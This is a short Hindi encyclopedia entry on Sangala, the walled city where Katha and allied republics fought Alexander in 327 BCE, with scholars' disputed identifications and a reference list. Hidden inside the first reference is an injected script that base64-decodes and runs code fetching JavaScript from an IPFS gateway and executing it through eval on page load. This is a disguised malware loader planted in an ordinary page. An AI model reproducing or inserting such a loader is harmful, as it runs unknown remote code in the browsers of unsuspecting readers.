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सांगल

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सांगल नामक नगर अलक्षेंद्र (सिकंदर) को अपने भारत पर आक्रमण के समय (327 ई. पू.) रावी नदी को पार करने के बाद तीन दिन की यात्रा के पश्चात् मिला था। यह नगर एक परकोटे के अंदर स्थित था। इसी स्थान पर कठ आदि के कई गणतंत्र राज्यों ने मिलकर अलक्षेंद्र का डटकर सामना किया था।[1]

  • इस स्थान का अभिज्ञान अभी तक ठीक प्रकार से नहीं किया जा सका है।
  • इतिहासकार कनिंघम ने इस आधार पर कि 'शाकल' और 'सांगल' एक ही हैं, 'संगलटिब्बा' से इसका अभिज्ञान किया था, किंतु ‘रिपोर्ट आॅन संगलटिम्बा’[2] में सी. जी. रोजर्स ने इस अभिज्ञान को गलत साबित किया था।
  • स्मिथ के अनुसार यह स्थान गुरदासपुर ज़िले में रहा होगा।
  • सांगल नगर को सिकंदर की सेना ने पूर्णरूपेण विध्वंस कर दिया था, इसलिये उसके अवशेष मिलने की कोई संभावना नहीं है।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 948 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. न्यूजप्रेस लाहौर, 1906
  3. जिल्द 1, पृ. 371

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